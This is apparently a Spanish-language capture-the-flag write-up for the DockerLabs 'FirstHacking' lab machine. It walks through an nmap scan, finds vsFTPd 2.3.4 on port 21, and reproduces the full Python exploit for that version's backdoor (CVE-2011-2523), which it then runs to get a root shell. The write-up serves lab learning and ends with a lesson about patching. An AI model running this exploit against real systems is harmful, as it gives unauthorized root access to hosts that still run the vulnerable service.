WriteUps FirstHacking

22 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

BASH
1
sudo bash auto_deploy.sh firsthacking.tar

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 23:56 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000040s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
MAC Address: 02:42:AC:11:00:02 (Unknown)

Resultado: El escaneo de puertos reveló un servicio importante:

  • Puerto 21: Servicio FTP abierto.

Análisis del servicio#

El siguiente paso fue intentar conectarme al servicio FTP con el usuario anonymous, ya que algunos servidores FTP permiten el acceso público sin credenciales. Sin embargo, el intento fue fallido. A pesar de esto, logré obtener información útil: la versión del servicio era vsFTPd 2.3.4.

FTPFirstHacking.png

Busqué información en Google sobre vulnerabilidades conocidas para esta versión y encontré un exploit en Exploit-DBcon el ID 49757. Este exploit se describe como una puerta trasera que permite la ejecución remota de comandos.

Exploit encontrado:

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3
                                                            
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                            
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.")
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

Ejecución del Exploit#

Creé un archivo llamado 49757.py y le di permisos de ejecución con el comando:

BASH
1
chmod +x 49757.py

Luego, lo ejecuté para ver si podía obtener acceso a la máquina.

BASH
1
python 49757.py 172.17.0.2

Resultado: El exploit se ejecutó correctamente y logré obtener acceso como root sin necesidad de autenticación adicional.

FirstHackingPWNED.png

Aprendizaje#

La máquina FirstHacking fue la más sencilla de todas las de nivel muy fácil en DockerLabs, ya que no había necesidad de escalar privilegios, puesto que se obtenía acceso directo como root mediante la explotación de una vulnerabilidad conocida. Este ejercicio refuerza la importancia de mantener actualizados los servicios y de evitar el uso de versiones vulnerables.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh firsthacking.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Conexión al servicio FTP:
    BASH
    1
    ftp 172.17.0.2
    
  4. Ejecución del exploit para obtener acceso:
    BASH
    1
    python 49757.py 172.17.0.2